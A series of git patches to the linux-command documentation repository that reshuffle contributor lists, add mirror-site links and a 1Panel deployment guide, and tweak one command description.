jcdj666 +gggwvg BingCoke Ein Verne FunKeen +JiangHuDao Pan, Wen-Ming QinShower -RichardLCD -gggwvg duzhuoshanwai Dazhuangw -Xingwen Zhang Alterem +RichardLCD YH -hululu1068 +Xingwen Zhang illmons jqz3.tech juemuren4449 @@ -70,7 +70,7 @@ dufu miniwater noodles2hg -Jelly +nsnans cxalc dayday Deny @@ -87,7 +87,7 @@ gcluffy hotdogc1017 huangyao -nsnans +hululu1068 zyimm 七朔 孤城落寞 @@ -122,7 +122,8 @@ zodiac zoomdong zuixin369 -JiangHuDao +0x_000 +Jelly Nexchard Karl Horky LaudOak @@ -137,8 +138,7 @@ mwei Marnm MinsonLee -Xiaodong DENG -0x_000 +Mystic PanHeng azroy Cui Yang @@ -155,6 +155,7 @@ Huntout Zhang Jack Jack.A.Black +Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng @@ -171,8 +172,6 @@ c2ch chaofan Forever121 -Mystic -Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -188,6 +187,7 @@ Na Meng Wingrez XBG +Xiaodong DENG From 11072e82507cb74a9ef5b73f697cb126a03c2384 Mon Sep 17 00:00:00 2001 From: Everything-is-one <92569428+Everything-is-one@users.noreply.github.com> Date: Tue, 9 Sep 2025 10:23:10 +0800 Subject: [PATCH 541/570] docs: add new mirror site link (#667) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 9d7cb151d65..6a018199751 100644 --- a/README.md +++ b/README.md @@ -85,6 +85,7 @@ **推荐使用的镜像 web 版本** +[**`qqcl.com`**](https://linux.qqcl.com/) [**`wu114.cn`**](https://linux.wu114.cn) [**`waadri.top`**](https://linuxcommand.waadri.top) [**`zanglikun.com`**](https://linux.zanglikun.com) From 47db2c38be06b4631997a0defb6197147438a0ca Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 9 Sep 2025 02:23:46 +0000 Subject: [PATCH 542/570] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6a018199751..ec4bfa4996a 100644 --- a/README.md +++ b/README.md @@ -508,7 +508,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. waiwai weibk Lingfeng Wang -yanyx +yanyx zjlovezj zodiac zoomdong From ec948e54aea98223bd80b34ccb873c3504e3950f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 9 Sep 2025 02:23:47 +0000 Subject: [PATCH 543/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3e19045340c..d51742a1b0f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -117,7 +117,7 @@ waiwai weibk Lingfeng Wang -yanyx +yanyx zjlovezj zodiac zoomdong From a2d6e99a94c31eff09eb3ae47c5649a30dc4b1d1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 16 Sep 2025 18:45:13 +0800 Subject: [PATCH 544/570] doc: add mirror site #649 --- README.md | 1 + template/contributors.ejs | 1 + 2 files changed, 2 insertions(+) diff --git a/README.md b/README.md index ec4bfa4996a..89da5c044b8 100644 --- a/README.md +++ b/README.md @@ -86,6 +86,7 @@ **推荐使用的镜像 web 版本** [**`qqcl.com`**](https://linux.qqcl.com/) +[**`huiyex.top`**](https://linux.huiyex.top) [**`wu114.cn`**](https://linux.wu114.cn) [**`waadri.top`**](https://linuxcommand.waadri.top) [**`zanglikun.com`**](https://linux.zanglikun.com) diff --git a/template/contributors.ejs b/template/contributors.ejs index d51742a1b0f..a74bf7926f0 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -197,6 +197,7 @@

镜像网站

+ huiyex.top wu114.cn waadri.top zanglikun.com From 089c4767d8581d95fdd2c82e00409874fb1ae35f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Sep 2025 11:06:01 +0000 Subject: [PATCH 545/570] doc: update README.md. --- README.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 89da5c044b8..b7dfa7ea46e 100644 --- a/README.md +++ b/README.md @@ -448,6 +448,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. RichardLCD YH Xingwen Zhang +hululu1068 illmons jqz3.tech juemuren4449 @@ -462,7 +463,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -nsnans +Jack.A.Black cxalc dayday Deny @@ -479,7 +480,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gcluffy hotdogc1017 huangyao -hululu1068 +nsnans zyimm 七朔 孤城落寞 @@ -514,7 +515,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -0x_000 Jelly Nexchard Karl Horky @@ -530,7 +530,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. mwei Marnm MinsonLee -Mystic +Xiaodong DENG +0x_000 PanHeng azroy Cui Yang @@ -538,6 +539,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Danny Derek Divenire +Everything-is-one Frankie Github1977 Guiying Li @@ -546,8 +548,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer Huntout Zhang Jack -Jack.A.Black -Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng @@ -564,6 +564,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. c2ch chaofan Forever121 +Mystic +Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -579,7 +581,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Na Meng Wingrez XBG -Xiaodong DENG From c2954f62311f9e4a7f91aecac0eeb2e64d059e32 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Sep 2025 11:06:02 +0000 Subject: [PATCH 546/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a74bf7926f0..7ff30492864 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -56,6 +56,7 @@ RichardLCD YH Xingwen Zhang +hululu1068 illmons jqz3.tech juemuren4449 @@ -70,7 +71,7 @@ dufu miniwater noodles2hg -nsnans +Jack.A.Black cxalc dayday Deny @@ -87,7 +88,7 @@ gcluffy hotdogc1017 huangyao -hululu1068 +nsnans zyimm 七朔 孤城落寞 @@ -122,7 +123,6 @@ zodiac zoomdong zuixin369 -0x_000 Jelly Nexchard Karl Horky @@ -138,7 +138,8 @@ mwei Marnm MinsonLee -Mystic +Xiaodong DENG +0x_000 PanHeng azroy Cui Yang @@ -146,6 +147,7 @@ Danny Derek Divenire +Everything-is-one Frankie Github1977 Guiying Li @@ -154,8 +156,6 @@ HighScorePlayer Huntout Zhang Jack -Jack.A.Black -Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng @@ -172,6 +172,8 @@ c2ch chaofan Forever121 +Mystic +Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -187,7 +189,6 @@ Na Meng Wingrez XBG -Xiaodong DENG From 6a062542d4156da33ad1c53a66e6b7e0481adb54 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 16 Sep 2025 19:08:47 +0800 Subject: [PATCH 547/570] doc: add mirror site #649 --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index b7dfa7ea46e..2455fcae7d7 100644 --- a/README.md +++ b/README.md @@ -131,6 +131,7 @@ [`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) [`utils.fun`](https://linux.utils.fun/) [`51tools.info`](https://51tools.info/linux/) +[`ddosi.org`](https://www.ddosi.org/linux-cmd/) ## 其它版本 From 34ed4b9f239af534db3da95f4749a6bd2bebbb8f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 16 Sep 2025 19:11:07 +0800 Subject: [PATCH 548/570] doc: add mirror site #649 --- README.md | 1 + template/contributors.ejs | 2 ++ 2 files changed, 3 insertions(+) diff --git a/README.md b/README.md index 2455fcae7d7..c1580e26c15 100644 --- a/README.md +++ b/README.md @@ -104,6 +104,7 @@ [**`zyimm.com`**](http://linux.zyimm.com/) [**`vovuo.com`**](https://linux.vovuo.com/) [**`shinote.net`**](https://linux.shinote.net/) +[`vekicc.com`](https://ll.vekicc.com/) [`liguiying.cn`](https://linux.liguiying.cn/) [`renye.net`](https://renye.net/) [`diqi.org`](https://diqi.org/) diff --git a/template/contributors.ejs b/template/contributors.ejs index 7ff30492864..2ec212f1f7e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -216,6 +216,7 @@ bqrdh.com linux.zyimm.com linux.vovuo.com + vekicc.com linux.liguiying.cn renye.net diqi.org @@ -243,6 +244,7 @@ hezhiqiang.gitbook.io utils.fun 51tools.info + ddosi.org
<%- include('widget/footer',{type: "list"}); %> From a1e2ebc452159dab5efa3f9d244e122d82720c01 Mon Sep 17 00:00:00 2001 From: Github1977 <68886053+li7355608@users.noreply.github.com> Date: Thu, 18 Sep 2025 19:48:58 +0800 Subject: [PATCH 549/570] doc: Update README.md (#668) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 添加1Panel面板部署教程 --- README.md | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/README.md b/README.md index c1580e26c15..0dd8f27d7c9 100644 --- a/README.md +++ b/README.md @@ -234,6 +234,47 @@ http://localhost:9665/ +## 1Panel面板 + +可通过1Panel面板应用商店快速部署 linux-command + +
+部署步骤 + +### 前提 + +- 仅适用于1Panel面板v1.10.32-lts及以上版本 + +- 安装1Panel面板，前往[1Panel](https://1panel.cn/)官网，选择正式版安装脚本下载安装 + +### 部署 + +1. 登录1Panel面板，在左侧菜单栏中点击 `应用商店` +2. 在 `应用商店-开发工具` 中找到 `linux-command`，点击`安装`，也可以在搜索框直接搜索 +3. 点击 `确定` + +- 说明： + + - 名称：应用名称，默认 `linux-command` + - 版本：默认最新发行版 + - 端口：默认`40255` + - 端口外部访问：如你需通过 `IP+Port` 直接访问，请勾选，同时会开放服务器防火墙端口 + - CPU限制：默认为0，不限制，可根据实际需要设置 + - 内存限制：默认为0，不限制，可根据实际需要设置 + +4. 提交后面板会自动进行应用安装启动，应用状态会变为`安装中`，大概需要`1-3`分钟，耐心等待安装完成 +5. 当应用状态变为`已启动`后，点击左侧的网站，首次使用需要安装`OpenResty`，点击`安装` +6. 安装完成后，点击`网站`菜单栏左上角`创建`，在弹出的页面中选择`反向代理` +7. 在`主域名`填入你的域名，网站代号会自动生成，代理选择`http`，代理地址填写`127.0.0.1:40255`，点击`确定` +8. (可选) 配置你创建的网站，可根据需要配置`https`访问增强访问安全性 + +### 访问 linux-command + +- 如果你通过`OpenResty`反向代理反代了网站，并且填写了域名，请在浏览器输入`域名`访问 +- 如你选择了 `端口外部访问`，请在浏览器地输入 `http://<1Panel面板IP>:40255` 访问 + +
+ ## Linux命令分类 *这里存放Linux 命令大全并不全，你可以通过[linux-command](https://jaywcjlove.github.io/linux-command/)来搜索，它是把 [command](./assets/command) 目录里面搜集的命令，生成了静态HTML并提供预览以及索引搜索。* From 06d2167e8bb317bc91633e4d4be1e1baae9f10ba Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 18 Sep 2025 11:49:33 +0000 Subject: [PATCH 550/570] doc: update README.md. --- README.md | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 0dd8f27d7c9..5071b47211c 100644 --- a/README.md +++ b/README.md @@ -470,8 +470,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. loverainye Wang Yujia alfred -Qliangw 沙漠之子 +Qliangw 永恒 Shell xhal @@ -482,19 +482,20 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. BingCoke Ein Verne FunKeen +Github1977 JiangHuDao Pan, Wen-Ming -QinShower duzhuoshanwai Dazhuangw Alterem +QinShower RichardLCD -YH Xingwen Zhang -hululu1068 -illmons +YH +Deny jqz3.tech juemuren4449 +cxalc kassadin NanoNova kmephistoh @@ -506,10 +507,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -Jack.A.Black -cxalc -dayday -Deny +nsnans dongpohezui ecjtusbs focksor @@ -522,8 +520,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hanwei gcluffy hotdogc1017 +dayday huangyao -nsnans +hululu1068 +illmons zyimm 七朔 孤城落寞 @@ -558,6 +558,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +0x_000 Jelly Nexchard Karl Horky @@ -573,8 +574,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. mwei Marnm MinsonLee -Xiaodong DENG -0x_000 +Mystic PanHeng azroy Cui Yang @@ -584,13 +584,14 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Divenire Everything-is-one Frankie -Github1977 Guiying Li Hang 重劍無鋒 HighScorePlayer Huntout Zhang Jack +Jack.A.Black +Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng @@ -607,8 +608,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. c2ch chaofan Forever121 -Mystic -Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -624,6 +623,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Na Meng Wingrez XBG +Xiaodong DENG From c1026edf670d7ec7f8f575c9727260e6c73df5f8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 18 Sep 2025 11:49:34 +0000 Subject: [PATCH 551/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2ec212f1f7e..ece0ca2d5d9 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -35,8 +35,8 @@ loverainye Wang Yujia alfred -Qliangw 沙漠之子 +Qliangw 永恒 Shell xhal @@ -47,19 +47,20 @@ BingCoke Ein Verne FunKeen +Github1977 JiangHuDao Pan, Wen-Ming -QinShower duzhuoshanwai Dazhuangw Alterem +QinShower RichardLCD -YH Xingwen Zhang -hululu1068 -illmons +YH +Deny jqz3.tech juemuren4449 +cxalc kassadin NanoNova kmephistoh @@ -71,10 +72,7 @@ dufu miniwater noodles2hg -Jack.A.Black -cxalc -dayday -Deny +nsnans dongpohezui ecjtusbs focksor @@ -87,8 +85,10 @@ hanwei gcluffy hotdogc1017 +dayday huangyao -nsnans +hululu1068 +illmons zyimm 七朔 孤城落寞 @@ -123,6 +123,7 @@ zodiac zoomdong zuixin369 +0x_000 Jelly Nexchard Karl Horky @@ -138,8 +139,7 @@ mwei Marnm MinsonLee -Xiaodong DENG -0x_000 +Mystic PanHeng azroy Cui Yang @@ -149,13 +149,14 @@ Divenire Everything-is-one Frankie -Github1977 Guiying Li Hang 重劍無鋒 HighScorePlayer Huntout Zhang Jack +Jack.A.Black +Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng @@ -172,8 +173,6 @@ c2ch chaofan Forever121 -Mystic -Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -189,6 +188,7 @@ Na Meng Wingrez XBG +Xiaodong DENG From c7aebfbc99cb59234e1f6255cd1d79675080e6d9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 19 Sep 2025 00:18:48 +0800 Subject: [PATCH 552/570] fix: Fix issue with navigating to the homepage. --- README.md | 3 ++- dist/data.json | 2 +- dist/data.min.json | 2 +- template/widget/search.ejs | 2 +- 4 files changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 5071b47211c..73b51c96c08 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

+ VidCrop Vidwall Mousio Hint Mousio @@ -44,7 +45,7 @@ FocusCursor Videoer KeyClicker - DayBar + DayBar Iconed RightMenu Master Quick RSS diff --git a/dist/data.json b/dist/data.json index 831577c350e..f2d13fb85c5 100644 --- a/dist/data.json +++ b/dist/data.json @@ -1242,7 +1242,7 @@ "journalctl": { "n": "journalctl", "p": "/journalctl", - "d": "检索 systemd 日志，是 CentOS 7 才有的工具。" + "d": "检索 systemd 日志，只要使用 systemd 的 Linux 发行版（如 Fedora、Ubuntu Modern、Debian、SUSE、Arch），几乎都会配备 journalctl。" }, "jq": { "n": "jq", diff --git a/dist/data.min.json b/dist/data.min.json index 63b81302a1f..548937507f1 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 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X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/template/widget/search.ejs b/template/widget/search.ejs index 35a8b55c5db..fbf67f3ba7e 100644 --- a/template/widget/search.ejs +++ b/template/widget/search.ejs @@ -2,7 +2,7 @@

From b57dc54b3c0927323051fb40cfa4116726b45394 Mon Sep 17 00:00:00 2001 From: DYH1319 <50073268+DYH1319@users.noreply.github.com> Date: Wed, 24 Sep 2025 04:26:49 +0800 Subject: [PATCH 553/570] =?UTF-8?q?chore:=20=E6=B7=BB=E5=8A=A0=E6=96=B0?= =?UTF-8?q?=E7=9A=84=20Web=20=E9=95=9C=E5=83=8F=20(#669)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 73b51c96c08..cb7219c51c9 100644 --- a/README.md +++ b/README.md @@ -86,6 +86,7 @@ **推荐使用的镜像 web 版本** +[**`dyh1319.asia`**](https://linux.dyh1319.asia) [**`qqcl.com`**](https://linux.qqcl.com/) [**`huiyex.top`**](https://linux.huiyex.top) [**`wu114.cn`**](https://linux.wu114.cn) From 3f7550ee74c8835fd1f85c3ef8a6dcb9d94e6c38 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Sep 2025 20:27:31 +0000 Subject: [PATCH 554/570] doc: update README.md. --- README.md | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index cb7219c51c9..a3051bb21cb 100644 --- a/README.md +++ b/README.md @@ -494,10 +494,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. RichardLCD Xingwen Zhang YH -Deny +dayday +illmons jqz3.tech +Jack.A.Black juemuren4449 -cxalc kassadin NanoNova kmephistoh @@ -509,7 +510,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -nsnans +Deny dongpohezui ecjtusbs focksor @@ -521,11 +522,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. githubwxz hanwei gcluffy +cxalc hotdogc1017 -dayday huangyao hululu1068 -illmons +nsnans zyimm 七朔 孤城落寞 @@ -560,14 +561,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -0x_000 Jelly Nexchard Karl Horky LaudOak Legend LexsionLee -hengli +hengli Lin Wuxian LinuxZilong Lix @@ -576,24 +576,24 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. mwei Marnm MinsonLee -Mystic +Xiaodong DENG +0x_000 PanHeng azroy Cui Yang +DYH1319 DaYangtuo247 Danny Derek Divenire Everything-is-one -Frankie +Frankie Guiying Li Hang 重劍無鋒 HighScorePlayer Huntout Zhang Jack -Jack.A.Black -Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng @@ -610,6 +610,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. c2ch chaofan Forever121 +Mystic +Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -625,7 +627,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Na Meng Wingrez XBG -Xiaodong DENG From 0927aa32cf95048723decfa42b9bb99d076c0d61 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Sep 2025 20:27:32 +0000 Subject: [PATCH 555/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ece0ca2d5d9..4f34f01aa82 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -57,10 +57,11 @@ RichardLCD Xingwen Zhang YH -Deny +dayday +illmons jqz3.tech +Jack.A.Black juemuren4449 -cxalc kassadin NanoNova kmephistoh @@ -72,7 +73,7 @@ dufu miniwater noodles2hg -nsnans +Deny dongpohezui ecjtusbs focksor @@ -84,11 +85,11 @@ githubwxz hanwei gcluffy +cxalc hotdogc1017 -dayday huangyao hululu1068 -illmons +nsnans zyimm 七朔 孤城落寞 @@ -123,14 +124,13 @@ zodiac zoomdong zuixin369 -0x_000 Jelly Nexchard Karl Horky LaudOak Legend LexsionLee -hengli +hengli Lin Wuxian LinuxZilong Lix @@ -139,24 +139,24 @@ mwei Marnm MinsonLee -Mystic +Xiaodong DENG +0x_000 PanHeng azroy Cui Yang +DYH1319 DaYangtuo247 Danny Derek Divenire Everything-is-one -Frankie +Frankie Guiying Li Hang 重劍無鋒 HighScorePlayer Huntout Zhang Jack -Jack.A.Black -Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng @@ -173,6 +173,8 @@ c2ch chaofan Forever121 +Mystic +Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -188,7 +190,6 @@ Na Meng Wingrez XBG -Xiaodong DENG From fd28b35f56119a7bdb0fb8d83bed6147c1d3245b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 24 Sep 2025 04:36:59 +0800 Subject: [PATCH 556/570] doc: add mirror site #669 --- template/contributors.ejs | 1 + 1 file changed, 1 insertion(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 4f34f01aa82..6226faa92de 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -199,6 +199,7 @@

镜像网站

+ dyh1319.asia huiyex.top wu114.cn waadri.top From ffb686618bb2459b894a7366c1ac5c3189d1019f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Sun, 28 Sep 2025 00:38:15 +0800 Subject: [PATCH 557/570] doc: add mirror site #669. --- README.md | 2 ++ template/contributors.ejs | 2 ++ 2 files changed, 4 insertions(+) diff --git a/README.md b/README.md index a3051bb21cb..9e037b785cd 100644 --- a/README.md +++ b/README.md @@ -86,6 +86,8 @@ **推荐使用的镜像 web 版本** +[**`lihaicheng.cn`**](https://linux.lihaicheng.cn) +[**`kkcry.com`**](https://linux.kkcry.com) [**`dyh1319.asia`**](https://linux.dyh1319.asia) [**`qqcl.com`**](https://linux.qqcl.com/) [**`huiyex.top`**](https://linux.huiyex.top) diff --git a/template/contributors.ejs b/template/contributors.ejs index 6226faa92de..1c4f45b6882 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -199,6 +199,8 @@

镜像网站

+ lihaicheng.cn + kkcry.com dyh1319.asia huiyex.top wu114.cn From eee314935360af76df660e47a69b27812ff2b664 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Sun, 28 Sep 2025 18:34:22 +0800 Subject: [PATCH 558/570] doc: Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 9e037b785cd..76e4ea75a6c 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

